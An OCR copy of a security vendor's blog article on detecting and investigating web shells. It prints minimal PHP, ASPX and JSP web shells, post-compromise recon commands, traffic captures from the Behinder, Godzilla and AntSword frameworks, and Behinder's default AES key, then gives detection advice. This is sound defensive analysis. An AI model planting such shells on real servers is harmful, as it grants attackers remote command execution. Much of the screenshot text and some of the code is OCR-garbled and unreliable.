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In this article, we look at common web shell functionality, encryption, and obfuscation techniques, as well as
several web shell management frameworks. Next, we will explore detection and investigation opportunities,
followed by an example of reversing the obfuscation or encryption scheme of an example web shell. Finally, we
will discuss proactive infrastructure protection measures that reduce the likelihood of successful web shell activity

against managed systems.
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A web shell is an internet-accessible malicious file implanted in a victim web server’s file system that enables an
attacker to execute commands by visiting a web page. Once placed on a compromised web server, it allows an
attacker to perform remote command execution to the operating system running on the host machine. The web
shell provides the attacker with a form of persistence in the compromised system and the potential to further pivot

through the network to compromise hosts and data that may not otherwise be externally accessible.

Success of a targeted cyber attack is often directly related to the efficacy of the initial access to the victim’s
environment and how well it can be leveraged. Threat groups who establish their initial access through the
exploitation of a web application vulnerability often opt to use web shells to further facilitate their ability to

operate efficiently within the context of the foothold system.

Web Shell Functionality

Many web application programming languages implement functions such as exec() , eval() , system() , and
os() , or process strings as syntax with special characters (such as “*”, or backtick, in the case of PHP) that can
be used to execute system commands. In cyber attacks, threat groups abuse this functionality by smuggling these

default functions and commands via web shells, allowing for remote tasking and code execution. The scope and
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breadth of code execution are arbitrary and only limited by the capabilities of the underlying victim server

operating system shell.
Some of the common post-installation reconnaissance commands that attackers initially use include:

e whoami

e netstat

e ip route or route print
e 1s -latr or dir

e uname -a or systeminfo

e ifconfig or ipconfig

This set of commands allows the attackers to get their bearings within the victim system and understand what kind
of privileges are available from the perspective of the compromised server. Additionally, attackers gain the ability
to discover what applications and data reside on the local file system and perform additional reconnaissance to

determine their next action in relation to escalating access or moving laterally to another host.

Figure 1. Simple PHP web shell example.

4) shell.aspx

<%@ Page ="Jscript"%><%eval (RequestItem[“cmd"], “unsafe™) ;%>

Figure 2. Simple ASPX web shell example.

4r shell.jsp

1time.getRunetime().exec(request.getParameter(“cmd")); %>

Figure 3. Simple JSP web shell example.

While attackers may opt to upload new files to the compromised web servers to enable web shell functionality,
they may also append web shell functionality and code to an existing resource hosted on the server. An attacker

may prefer this action to avoid raising potential suspicion in the event that file creation events are monitored.

Complicating matters further, an attacker may identify a web application parameter that is already being used as
input inside of one of these risky default functions (a web form or an interactive application), thereby facilitating
web shell functionality without requiring the attacker to upload a backdoor to the victim server. While this
approach has the downside of having the remote tasking input and output flowing across the network without any
obfuscation (allowing for potential detection by monitoring services), this capability would be used briefly to

graduate remote access to a more covert method.

Web shell behavior is highly dependent on the configuration of the compromised web service. Rather than

opening a new service on the network, like a traditional bind implant (which would be relatively simple to detect

Page 2 of 11


https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-1-Simple-PHP-Web-shell-example-V2.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-1-Simple-PHP-Web-shell-example-V2.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-2-Simple-ASPX-Web-shell-Example-v2.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-2-Simple-ASPX-Web-shell-Example-v2.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-3-Simple-JSP-web-shell-example-v2.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-3-Simple-JSP-web-shell-example-v2.png

https://blog.gigamon.com/2022/09/28 /investigating-web-shells/

and alert on), web shells most often use the preexisting HTTP(S) service already hosted on the victim system to
facilitate backdoor access. For example, if the web service is hosted on HTTP 80/TCP, the web shell will be
accessible via HTTP 80/TCP. However, if the web service is hosted on HTTPS 443/TCP, the web shell will also
use 443/TCP and inherit any existing SSL/TLS configuration, including using the legitimate victim web
application SSL/TLS certificate and all associated metadata for connections flowing to the web shell. This is one
of the reasons why web shells have the potential to go undetected for a longer duration compared to other types of

implants. They are simply buried too deep in the daily HTTP noise.

To avoid detection, threat actors rely on obfuscation techniques which are commonly chained together in order to
hide the true functionality of the web shell. These techniques are often used in combination and include, but are

not limited to:

e String rotations

e Array segmentation
e Hex encoding

e Base64 encoding
e Compression

e Whitespace removal

Many web shells observed in the wild also encrypt the remote command input and output through hard-coded pre-
shared keys. While code obfuscation or encryption isn’t a new concept in the context of cyber attacks, it

introduces an additional layer of challenge when it comes to detecting and investigating web shell implants.

Common Web Shell Management Frameworks

The desire to enhance and automate tradecraft has led to development of various fully featured web shell
management frameworks alongside continuous improvements and automation functionality. Table 1 lists some of

the publicly available web shell management frameworks which have been used in the more recent events.

Web Shell Framework Source

AntSword https://github.com/AntSwordProject/antSword
Behinder https://github.com/rebeyond/Behinder
Godzilla https://github.com/BeichenDream/Godzilla

Table 1. Public web shell management frameworks.
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While some frameworks are relatively simple scripts, others come with a myriad of functionality, ease-of-use
elements, and modular capabilities. This makes web shells extremely potent as a threat vector and provides

attackers with a multitude of options during their attack.

The figures below demonstrate sample HTTP requests and responses for web shell interactions using these

frameworks:

r Al
[ ] [ ] Wireshark - Follow TCP Stream (tcp.stream eq 1) - godzilla_2actions.pcapng

POST /godzilla_xor_b64.asp HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: ASPSESSIONIDSQRACAQB=GHIHHBEAHMKKHLFPEINJFNPG;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=8.5,en-US;q=0.3,en;q=0.2

Host: 192.168.38.102

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 36

uid=X1xBCQ1ldfwBaUWNhNzA@F 1dKQQ%3D%3DHTTP/1.1 200 OK
Cache-Control: private

Content-Type: text/html

Server: Microsoft-I15/10.0

X-Powered-By: ASP.NET

Date: Wed, 20 Jul 2022 22:35:07 GMT

Content-Length: 16

0ff916XVI=335ab3P0ST /godzilla_xor_b64.asp HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 1@.@; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: ASPSESSIONIDSQRACAQB=GHIHHBEAHMKKHLFPEINJFNPG;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/%;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Host: 192.168.38.102

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 48

uid=X1xBCQld fwBaUwNoNzA®BVdNdwARUFISfloHCg%3D%3DHTTP/1.1 200 OK
Cache-Control: private

Content-Type: text/html

Server: Microsoft-II15/10.0

X-Powered-By: ASP.NET

Date: Wed, 20 Jul 2022 22:35:07 GMT

Content-Length: 4780

0ff916cUxHEwdXRSVeRkF fF3MOP1tXUBUSTFMIQEMWF 1hfQD44dkYoDF9eQQBUNgxZVFsVQWZ7NWh6RBNFUQBRYKNREBIDFWsk
UF@EZVSOERcKFCEIFg4 IWBYKa@RXEwxHRFEMVVBDBEIDETd1ZwIXXkBATQcXDUITDwIZAz4SHEREUQOMUFgEQgMRVhgGUUOFAA
Z0EggFW1EMC1EAFDEOPXNbD2FJUAJTHGIYREAECGV fWxYXZUYYEU1UDAQGPQZaVBoHS lw/

LjEEZghZUA4SRGI6N j hpVBUKBBQy TkcVAFpiWwlGHGkSGOpFBFoHU14SY@ORR 1xYMw1WRUQMETICRERRD2BWWhVHZWIYREAECA
QCaDVQXFhaR2poMmNxLDd4f2BHbmpMEhZcXFIFaDYMWVRbFUFpWhYHS2 IJU1gNOUEBG1JuAnZbPm1DD1BGAAhzUUADb1pdDgFW
XQBDURg5VV1aWXEDaTEQV1YTV11BI15cURFuflwVP1pcBT1kIDF/

21 client pkts, 6 server pkts, 5 turns.

Entire conversation (29 kB) ka Show dataas ASCII Stream 1
Find
Help Filter Out This Stream Print Save as... Back Close

Figure 4. Godzilla web shell POST request and response. (Click image for larger size.)
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Wireshark - Follow HTTP Straam (tcp. stream eq §9) - bahinder_Sactions.pcapng

POST /behinder.php HTTR/1.1
Accept: text/htal,application/xhtml+xal, application/xml;q=0.9, inage/webp, #/*;q=0.8
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN, 2hig=0.8, 2n-TW; g=0.7, 2h-HK; 0=8. 5, en-US; =0.3, &n;9=8.2

cun ent-type: ,,uc-mm-m.-vor-—urm:nm

erer: http:/f192,168.38. 186/rd. i

uur—lgent. Mozillas5.8 (Windows m . 8; Winfid; xb4; rvi79.8) Gecko/28108101 Firefox/79.8
Cache-Control: no-cache

Pragms: no-cache

Host: 192.168.38.106

Connection: keep-alive

Content-Length: 7864

N 1YNMEOZVAVSWat OHP It BF 452 Ly TONKTL LzenCL BNBXKCS JWFTAR OB LCOCO4ZVF 55 FDaAONE inbane, A2RE/
DSIL7GOAGYUYZSqAbLMIKSRAP LD 75 TAY3KTIP B ZeZ6C 30NISL1yhHADOSF: Zwpkd v
+GpX LG A5UyPTIudeSRIv+] POtyANFYCSQIRX+XDTDNS AL+bbRYS INT § TnlSIBCA PXriidda/Uerka/
< . ! o
oL 74 FIuCs 130/
bik7zcKrUubSpLTScFL hIShIETiPE106T ZT5/
1umssnuvwwrnmmwnpszms«necv:-»ill.:c;ml.w-mm:m:su.owwcu... KNFX Y8/ 1 DS 935/
3+0/4681AKISOHF LQpXK K vGOL LeATpKThvge Ly r IWVTHT SHE 001 i
OCr4BY nrwfmmrLzafrsﬂ«dErocm‘myzi)zuuzmrrc.mzs!me«mwrwmummmx
frsll)SiMmﬂ(Wusmhi1h5P1l1'|’lwIUl]jU¢-rﬂl &/ Tad thiL. yiS4og eBEI3nBPgpfbFOT/VotcFuka idT/
FeerY ot Uj SA § 18b2]BPe2dCChG .mwdummzxsxmwaaummnoocmw:rnejnuyucmsmdnumnu
OYKCTL uamur.mrmrrfzmtynrcs:mt RINp1E 2kj w3julF J ZHydZHr cOwz st ZeVE § 7Rmzz9cabAr ZamHixBhihLmp L LVeaWPILMVPs 1 1v30/
TEThr2q52H): 3t Gykovtr YFSneFhuT, IR G+IATEY o0
Tmmwsmsmnemmmfp:m:r TqRKG p 76V4 Laode L
aRggnvzLlj 2Pmgl ‘AmoZCxdzf § FpDLY Irhvy: 3] TTISbET ] f pR14gHCOdvdySTE ¥
1frsafnxm:zm-znunn.aamnmmumum-tn-mnmnw rmr.xj‘:ms'm.‘
RYCow7 Zk5tCTHakkYXJaddRxVY3ESD]] t+3ahNbuwEy v INMKZCDEBZULICYDHRRZE CRAPs Zk2n] yy T0SATZP] wWr/L2c J40Cd0p £/
p«fougklunzemm;any;mM;mLm“ rEVaTBiNL7MIp Ubo LAGNG RS tmPn)OF FVWFtHantis +d fosN T TRZXeL U TR/ SG1d 07 biigBre62 T g0 19116/
TMSYZICNKThk+C5INya3 /1w R+ m‘rﬁnnbmlmnunwaexcw)nfsrcremuuqmmuxznmsumw
YBeYGyz6VZCCYOkkK2er Vool
IJ:IFxmI'n;'ll\erniq!uixswcﬂlmlwﬁlmnlhl(iyl‘h(ur;muzudﬁaﬂulemnisiﬂ'h(u y u ..-uu., 1yjuiAlg
-mrujrmmsmmhmnwm \TAG4FwY propKKFdI HijquyOL i1 1O rd JQyF\lltFHymﬂ‘Ff
ﬁu OaRm/
EsaFOﬂ‘!vl)nmjlrﬁshl\w«gl'.umhzc]')mxtuIsmP(n(Glimlnx?:un:55\'ﬂ‘lcwioLFtﬁnmwmlh?nHuizPlsLPE]nl_l)(vpmnhhm,'
J30ZEr1qysHeKs TBItVOBTE222rF LTNMK; Frw 2wl 15 110gSSwp rvHSUNIOCZXT rL fbu LGWKE § @02 gelxbC/
mraazulthﬂl’mmunﬁjnFMnunﬂﬁl\umﬁy?llywh(zlnusll]I(M!fu)y(nnrhf-l UThECicy. 1q;mz-nrsnzuwctnumnmsuuun-r
gozC el JghYabe: rLuqzprkhmyzmnwl:fnsom\.unrl-hm(nlf-hu:l-un
MNXIDB LwsGZtMITDZuBL L TRNXVhOWF =t Br LIWKh3dxt 1 jWeBYoGl
S0DdAUF L) 2DY uK FALC: Y"S]uill‘“" ' Es uum(mi 7R3 fWHELS 2501 63 TTN+ZPdPPaum gk pZal /
cltn wajlmm Jgl 3QZhxb fxigKLf
!7)&];-5fﬂcq\MbKS(.IenEEITL\lLMZPEnlmimlmﬂlltmm)ﬁnqmuy“l[LLrﬂﬁE'LsirmCDng!meﬂm\ﬂ'smﬂsthup](hEOgEJl:.IIill?lh 2Xad T mlwwgeymuguazl.t;umm!
DkczUatZSrpMgT+1 2RCDAP ) yBoy | dEWGZY.
xrnnlLaniH)L(llmelcnh:.P«-r i qKaT00; TE rDSPL fRo/

2 it phts, 2 wervee pits, 3 turns.

Entire cormversation (164 kB) [

Show dataas  ASCII $

Find: Find Next
Help Out This Stream Print Save as. Back Close.
Figure 5. Behinder web shell POST request. (Click image for larger size.)
"ene Wireshark - Follow HTTP Stream (tcp.stream eq 59) - behinder_Sactions_pcapng
ewlLXXqILLcvIcEvL1baAZpl yVAEVgBe11eG g fWpadkn2KBS f BKb,/VakpODMxC+BAT IrSZrGar; 3fitel HmZrsMIc+cv IKMAI THGHwvw==HTTP/1.1 280 0K
Server: nginx/1.14.8 (Ubuntu)
Date: Tue, 87 Jun 2022 17:22:33 @MT
Content-Type: text/htm I
Transfer-Encoding: chunl
onnection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=3h@vkiB7tdpbabkdcy7loudddb; paths/
Expires: Thu, 19 Nov 1981 @8:52:00
Cld\e—(:ntm\. no-store, no-cache, must-revalidate
Pragma: no-cache
sum-mnspon-;emrm- max-age=63972000; includeSubdomains
%-Frame-0pt Lons:
x-cn.nm-fw-nptm nosniff
Content-Encoding: gzip
] 1BuleT847Y] fc. 2211473t TEBhAG: TtzdVk/ | ZXT2BE BRI/
DEMMMIFIMICN- JYThDA4CH 194 h/
FZ11a0tKvIMLXITHVRT | DnmAAFDOIGLPGK LA+BIHS IV ZKOUCD1K. ¥ TVI4WTEICCd 1hSxj
§ y P LOATL 1t LWosOn FTgMsink f X/
PCT) 1ADFKE2 102U 77087
1§ ¥SaEbxHd § 51 BIALE /IRHBBGY wewblachuXIbL580/
nmnmmwmmlmlz:mdskr)u BrinZCmthZCl 2LWEPEDFIY INFr CaY bailvadF Uk TAaEV1j7Le+BFqTo
Jvbho, i1t 1lkwapSilvu/
GRLEh/BFt(sBnS11 '
nrnnjnmmm-nc».usmmwmmnmo:qgsmms;muw:-«:nn:m(uc 1 s0bf SI0cr/TOULTY/MLLPTWORVX4Bx ZpD7 s frsQ1/
o Flg JiL3Texuy g c VWD T Twl s VNNXpW 1 TysOtmbe Tme ridr ¥ iSebr Y37 al 1 BV viiGhp@kMdm ¥ gbokUVBES /
C— -W"N j. meﬁl!llmﬁllthn!ﬂrM“LnInll!HWHnlWl“Wnlﬂn’ﬂr)’
eQSasZub. TCkYuTPLET9%CYT SRvgs¥niiluwml
Lcrvu:ummmumnm My ayP POGO ] CvbL cxmnmv\f
06gVj i | 140mlgt L iuCH
SMHI.IAZI ¥ qwF t5XvedC rgf v i TdZUj9TT§ | 2w58PfSCuCbeDokaVis
DEFZw; D1 y! 1E7TYwa ldr T/LuLecQrmp/
DIBrMU‘lMNJdnBlWQ!cIMIW+ G/ s/ IMETE 26eMt 250+ i rKA KD 1qp] 11 pldp. LMFa1FsA§ T2 rGulTU/
IF Tdv-+f S THRK T beMT | AHARF B/
fubigis rrkRef fd12yuK6S5m+cAIL4tqCPDOAATnf 1pEPOWILO0 9 rLpSvBT LemG++HSTMLFGAz rar fUt. 2S9CRUMOMLe / ToWNAv/
$JeEEQAGLRDBUL r 1KnQ02a 2CELbg2/ S3nIR2CTHS Gr +dW | /.
ey J0KIRAQPCA2VLQP 5901, 126
KnJVIRNepKs)afak iuvdTcqToBAEZFZ/ a. ngul [ 9 1C] EBmnGTZ| Ll 1 9 Xp/ O TWukGH/
ecjVFI4, (COPBSKE | ) /K165p; P DOLY
95 f Py S VIC {7
MZI17VICL KI4K roBgchir]IrPen €T pbg 70esp/
0OhES, wWPtL VOUF1C0rCE
StLIFFNKD+NY1dcaveut’ P’ y €311 FTGAYC IGB].\UM!IIILME?MHHHI&NWI!)IHH!/
Oy T2, L1 3uxgPY I VURAHIY 1 2KL KPROL/
GSMvPESOV Legbh+ | BINOhiws FFOwFPxLNLGZCwA {XeMFIPQMghSTT
2 client phts, 3 sevver phts, 3 tums.
Entira convarsation (164 kB) (2] Show data s~ ASCI a
ot [ o ]
Halp Filtor Dut This Stream Print Save as... Back Close.

Figure 6. Behinder web shell server response. (Click for larger size.)

Page 5 of 11


https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-5-Behinder-web-shell-POST-request-V5.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-5-Behinder-web-shell-POST-request-V5.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-6-Behinder-web-shell-server-response-v5.png
https://blog.gigamon.com/wp-content/uploads/2022/09/Figure-6-Behinder-web-shell-server-response-v5.png

https://blog.gigamon.com /2022 /09 /28 /investigating-web-shells/

— _ - S
LXK Wireshark - Follow HTTP Stream (tcp.siream eq 1) - antsword_Z2actions.pcapng

FOST fontaword:aspr HITP/1.1
Host: 192.168.38. 19

Accept-Encoding: gz p deflate

User-hgent: Morilla 5.8 (compatible, MSIE 11, Windows NT 6.3; Trident/7.8; rvi11.8) like Gecko
Content-Type: application/x—ww-form-urlencoded

Content-Length: 2456

Connection: close

DarrlRlng=2XZhbChT: SFbmvIG 26 LuZygINTAMS EﬂIBSSBDEEZZKJlLkZylﬂI(YmmjﬁrﬂMnBHCDMxmzﬂ(inG\JlNyJTINgAYJEEOiEyNLF]\‘ZMIIInKSnmSzY\GlIIU& @xBcadgazdaccdd
=UniVzc69uc2UuVIIpdGUDT |d LY ] TiKyTSWWMx0STp03Zhe 1B1cnT6RN | ZXBRaWIUO3RyeXt LdnFsKFNSC 3R LbSSUZXhBLKVuYZSkai5nL kd LEEVUY2 SkaWSnKT IVVEY t0CTpLkd LdFN@on|
IV NIRKATY ZNSHG I THUVIVE ZL YmBSenRHbGp | eTVRY 2858 1 pYTnp VM1 Jo¥ 2555m.) tWnZLAKA1Y ZNSOGI THVVANGGWTG WV yOWEhYZVUTGt kbGRFVRVZM] LrYVe 1bktDS L ZWRY BTN cEx rzs;nuwz P

LRZMFUZUA LWV ZVuSOZKbENYVix jMLF1U1nSEGIWe 2 1 kemd STUAVNE SHURPREF 3WkRnaVh TNXokVpG6ZEn) b8 1pa JBLU2S 326 1Gel VT LibVY. 1UZVFYVAGbn] tOXDKR uzmnnlJRzanMaWﬂnavzaiu)udavuwnla
uazswwaFoanLnnvamxommw;uzmh1v:n15mzvzrmLacaipvsrazenmuwcFHummwwLamu‘rlanuzzv:qusuwavu..vnwanﬂcr;szvzvrwnxaluzu;BJSF\'nUFrseuﬁxw:zeWﬂuscmtvnpkkumclauvsntswensnmm
15 FaVHRS TGXOMF LYS BTVZV LY noxaksy TXVAWEDUZF CXbGIUUNPQUE | 2K L Balis XT 1V IMLI Y G ZIWTT! lzmnpwmm-mm]a]w:nmmvsm]aavzsmnsmwnumvm’zusuﬁnmpavnm
NSEWFXNWS LRKRS Y1NNDGMZUXVTWF 15 Y1 Z2VpEZ2F Za L XTXLOaTPRFHL WIWLreEn LhEH T Be vl cxr ot JMLISSBRICELTO) 18

ZVWWLIGMEXrVNVZM ) Lr¥Vc Lok r ZGxkRVZIWT 152 2F XNN5LOOpWVK E i bTLb G LnUITMlJS"\d(lDMGSna WFZsY AVnNpY ) 2B ESUMW L YUZVEZF dKenAT
WO TS TREM L MSelixy th)Mnhu\‘liinﬁzmzlwmywh]zzFudﬂlmll 1jantn A | bHAWFN T aWGud Zkh

3aUtUdHBAaUF VY ZNNOWIHVNY 3M 1 1wSUNFOU LESXBISHRY | T1MGFANTF aVHOSWXK LRn ] uinB | BT 1Y LR Gy | b aMldnmmuamrw:m\'ummJnnsjm-czsmrlauzvuzan(.eunnnnm]L.zﬂ};nnsr;nmzvrwnxamzvmsrvﬂamﬁlawxwm
JoY¥m1SaGNtUKZ] bkpZY2pB0ExrTaN NS SSBNrNIVEVRR )Rz L1Y2IVAVY ZSnBKRIVYY JNWME XsSmxZV1IVY | BWdVaDZIBI 03NN LW rdVVEYRhaRLIZl Lc1a8tDa3BPdz 091 {kpLL ) 1bnNhZnUiKT LS Y2FBY 200 2K yKX tSZXNWh 252 255K cm | D25 g ARV ISTLIGLY Bg Tt L
nTubWYze2FnZSK71V11c3BvhnN LL LdyaXR KCIhZTkz 145 INTIZNCI 013 Lc3BvDANLLKVUZC gpOwhiD%3DG0B504 4809 269=08Y20gL 200 TkNEL2 LuZXRowdWI v 3d IcnvaCTmd2hy YW pdnY | aGBoZ ] RmyYTT4MAMEN zMmY20nZWNobyABNTE yMG JMTOYE 1dbB1a tBd
cfash=NabwE2ReaddaBenda= (BYZ1KHTTP/1.1 200 0K

Cache-Control: private

Content-Type: text/html; charset=utf-&

Server: Microsoft-115/18.08

X-Asphet-Version: 4.8.38319

X-Powered-By: ASP.NET

Date: Wed, 28 Jul 2022 22:46:03 GMT

Connection: close

Content-Length: 90

Tbb295c19iis apppoolidefaultapppool
fafa2Blca?3

C:\inetpubywwvront

451206142

20931264

Figure 7. AntSword web shell POST request and response. (Click image for larger size.)

If the attack objective requires access to other systems beyond the compromised web server, the attacker can use
the web shell to relay subsequent interactions to other systems of interest. To increase the pace of killchain
execution, an attacker may use the web shell to establish SOCKS tunneling capabilities that can facilitate

subsequent access to specific networked applications and resources internal to the organization.

How to Detect and Investigate Web Shells

In previous sections, we discussed how input provided during an HTTP client request can contain malicious
instructions. Therefore, a key element of network-based web shell detection is to identify the presence of
operating system commands associated with administrative/situational awareness operations within the contents of

inbound web traffic flows.

There are several inherent challenges in detecting and investigating web shells that analysts should be aware of.
The heavy use of layered obfuscation techniques can evade static signature-based detections with relative ease
while also making it challenging for the analysts to perform manual analysis on PCAPs and web logs.
Additionally, web shells are passive implants and don’t require regular “keep-alives” with the C2 infrastructure,

further avoiding pattern-based detection mechanisms.
To increase probability and confidence in web shell detection efforts, analysts should:

 Identify patterns: Look for a combination of potentially suspicious sets of events relating to inbound
HTTP(S) flows. For example, tracking access attempts to specific web pages without valid referrers or
historic precedents, unique or never-before-seen user agents, or anomalous GET/POST requests flowing to
a web server without a corresponding set of prior activity.

o Perform statistical/anomaly-based analytics: Get comprehensive visibility into web traffic patterns to
build a baseline of aggregated network traffic flows. Compare expected inputs (baseline data) versus abuse
of dynamic content on a web application. When used in conjunction with an understanding of adversary
techniques and operations, powerful, intelligence-informed models can flag potential web shell activity in
victim networks.

o Track URIs: If a web shell were to be planted onto an external facing asset into a net-new file, interaction
with the web shell would transit using an endpoint or URI that had not previously existed and would be

visited by less than a handful of source IP addresses over a set period of time.
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o Compare URIs to existing files: In cases where the attacker opts to implant web shell functionality to an
existing file, focus on validating the contents of the existing files and cross referencing them against URI
traffic patterns to those resources. Use identified source IP addresses associated with access to a previously
unknown URI to determine if subsequent traffic remains limited to the suspected web shell URI or if there

are other requests to legitimate pages on the destination server or other servers on the perimeter.

Web Shell Deobfuscation

When investigating suspected web shell implants and network traffic, analysts benefit from rapidly testing
decryption schemes with the aid of tools such as Cyberchef. The following is an example of analysis of the default
Behinder web shell template. Behinder web shell accepts attacker input from HTTP POST requests. Attacker input

is shaped by the Behinder client to be a valid class written in the syntax of the target web server, in this case PHP.
GNU nano 2.9.3 behinder.php

<7Tphp

@error_reporting(@);

session_start();
Skey="e458329feb5d925b" ;

_write_close();
st=file_get_contents("php://input");
if(!extension_loaded( ' openssl®))
i
$t="baseb4_" . "decode" ;

fpost=$t($post."");

for($i=0; $i

/[F1+1&15];

Bcall_user_func(new C(),sparams);

Figure 8. Behinder web shell sample. (Click image for larger size.)

To recover attacker instructions from network traffic requires recovery of the hardcoded pre-shared key from the
web shell script. In this case, the default AES key supplied by the source code is “ e45e329feb5d925b ” (first 16
characters of the MD5 hash of the “ rebeyond ” string). The contents are base64 encoded before being AES

encrypted, so the string must be decoded prior to the encryption key being used:
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rﬂ 9chq.github.io/CyberChef/erecipe=From_Base64('A-Za-20-9%28/%30',irue,lalse) AES_Decrypt(%78'option' "UTFE','string'"e4503291eb5d9250' %70, %78 option': UTFE','string''e45¢ 3291eb5d9250 ..

6 %) 0@

.

Recipe

From Base64

Alphabet
A-Za-z8-9+/=

Remove non-alphabet chars [ strict mode

AES Docrypt
Key
e45e329feb5d925b
w
e45e329feb5d925h

Output
Raw

Mode
CBC

Input

Auto Bake

Options Y About | Support ()
input e +toE W=

Lines: 1
3Mn1yNM o2V iVSwo t OHP I tww@F4b2 1y ToNKTL fdUnNT zmyQF fx/ 22 1GwlHg+85 LRr50AWVdopi iVez ] pFLj yUBRAWy0JGgtnS57
dToKewo/ TPuv fbbo3Zp LI48L ++5SawBYFYdic+rowWOb09 rbonnTa52P5 TVBDWUZ1p rlOUDE+ THF dBSWpncCk+B iux |boH7qqInVES
JMreDeNuTVXBx6 1 1HUZRrygSVSOROQT TFTI] 1¥ZLVTUbRABE f 2pwZx0xa0udwlif lodDwd g6k K TyGud1Y28S38ChVYAFKrHIVTC
= bi+CBUChBXvudyybBfAnfmdcOM2COMB+) 6 +NA26wp 1 VaNAMISnXgdwFT Ys el ]y 72145 TFCxccoSADW3 VT s1cOHVSToLY3ZT
JeHezMTpBRCIPUAQ1BLAL] €9 iNBKZ X 10205 109X] hXkLeMVOBTT LP rAnDp2gqmG2xV g@MPVPAyR1a3wens Ybc 7pBRCGI FWCLY?
*MIKATNOGVZe 1] xyoNetk9aTSesxZK199gvKEQU/ 051N LLHOPKKOWY102T /9 HOHSFpBTN6ET+IMEDA qW/ 3N/ JATORTWRWNLIM
gCzMINSBYTOF6D/ 21 )W22enYUMISEGN i9yDeF In/cUPBPE 190 13LATD j gtNm39SM0a2sGIBC2 zh26x 1d2CSLFf TNz 26 Psks sH
Kd9M3LnUMZ0z  7ZHNWSKLOWBSBI+U17k/ v 7GBTSOXDCAPSK YxxEf wLreDkxZ7] 0dBNGONEN ] IngdaTdF 5+BbBaVYnNRULyD
JST+ORRMREtGOVFTBUECSSNYEY3tM ] SYINL tu39BO0) coLktkS1G14C] /9Y1aBHS2YP+ IMUWKPVALG LCHTTZXNLS 1£CDCBIXCS2
WleMLd/pty2Y PD2d+QPOHi7 26KBWG2HC TUXDEVIu@322TSaH i F jULCn1 1SYmAY s gNF rwnY i8aGSE74BYEDHKGEWZoyUS 2 iHF g1
wemraarh/a37lane?Lhc ] gCbGxbMOungwz145toRppRAMAMGN, T0L LiH7 cs tI0KoB78nz imvZuo6l i0MaWY1YbrRtxB5 JoXoVXin
0IRLDKD/Tv2bXKAQXgeb I vPraGaGXMOchs |Y7VdcheZz t6gCEN7GbgXBLQYTmy Yellf SxpTrxd 12cKEBNChgQZEVOvE IrRntAAS
bIMEYM3+UNSezqF MMnRMBAN0S fFUrDdpOgCRoLMRCTBIWRY L+ rs 22 tBPRAT gIBME fvXc t 1UEGBORDEXamG iXrNxK3wT0xs j rég
Z2KPrHbutGuOnt ZIDpovans, 2BLATvRr TVRCRy fjahb1YauphIBeNDtSxv/ TS 3V 2RR2VY4uh el SuBH 23087 IYRDXS5 SHV300

S S
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Output

-GF.AFE. .. YL [SF.64_decode ( *QGVycmOyX3] LcGOydG luZygwKTsNCgBKZnVuY3Rpb24gZ2VRU2FmZVNEC igkc 3RyKXSNC iAgL
CAkczEQPSBpY28udigndXial TgnL Cdn¥msvL @ LHTKOSRS s 1HNAC i k7D00g [CAD IHMw1DBgakbivbnYo) 2diaycs 13V0Zi84LyS IR
BSPUKUNLCAZMSK7D00g1CAGaYo JHMW IDBY I CRZAH] pewdKICAGLCAG ICBY ZXR1Ccmg ) HMWOWBKLCAG IH1 1bHN LewBKICAGI CAGL
CByZXR1cmdgabNvbnYo) 2d iaycs)3VZi04Ly9 JRO5PUKUNLCR2dHT pOwBKICAG THENCn@NCmZ 1baN@aWIu TG 1hakdo JGNt ZCwke
GFBACKNCNsNC 1AQTCBAC2VAX3RpbIVFbG Lt aXQoMCkTD00gTCAGNG LnbmOy V1 c2UyX2F ib3)BKDEpOWBKTCAG TEBpbal fe 2VBK
CtYXhfZXh1Y3VBaWIuX3RALWUNLCAWKT SNC iAgICAKEY zdWx@ 108G YX Dy ¥XkoKTSNC iAgICAKUGF kdEpuLD@gQG LuavenZxe)
2RpC2FibGY T ZnVuYIRpb252]yk7D00g TCAGaWY gKCEg W 1wdHkoFBhZHRKD 1 kp THSNC 1AQ1CAGTCAG) FBNZHRKD 1AGTHBY ZWd fr
BVWbGFj 25gnL 15sTFB rLycsICeslywg JFBhZHRKD ik 7D00gICAQICAQTCROYWRASHAGPSE LeHB sb2R IKC s Jywg IFBhZHRKD ikTD
00gICAGLCAGICROYWRESS4GPSBhEnIheVat YXAD] IRy aWBNLCAKUGF kEpUKT SNC 1Ag1CBIIGY s €2UgewdKICAG [CAG LCAKUGF kd
EpuID@gYXJyYXkoKTsNCiAGICBODQ0gTCAGIGMGPSAKY21kIWAKICAGIG ImIChGQUXTRSANPTgC IRyCGIZKHNBCNRYEGIITXT ol
EROXBITKSwg3dpbicpKSB7DO0gICAQTCAGICR) IDBGIGMGLIAIDT +]] FebiI7D00gT CAGTORKICAGICRKAWVRREITIDBGI 212X
2MhbGxhYmx 1) ZSNC LAGICAKONZ] ZSA9 ICdpb |9hend heSe 7D0ag ICAGaNYgHCRKOWVRRED IKCd zeXN@ZWANKSBhLROG ISAKONZ| 2
S5gnc3 LzdGVt I ywgIFBhZHRKE 1kpIHSNC 1AgTCAGICAGb2] frIRhenQoKTsNCiAGICAGT CAGE 3L zdGVIKCR]KTSNC 1AgTCAGICAGD
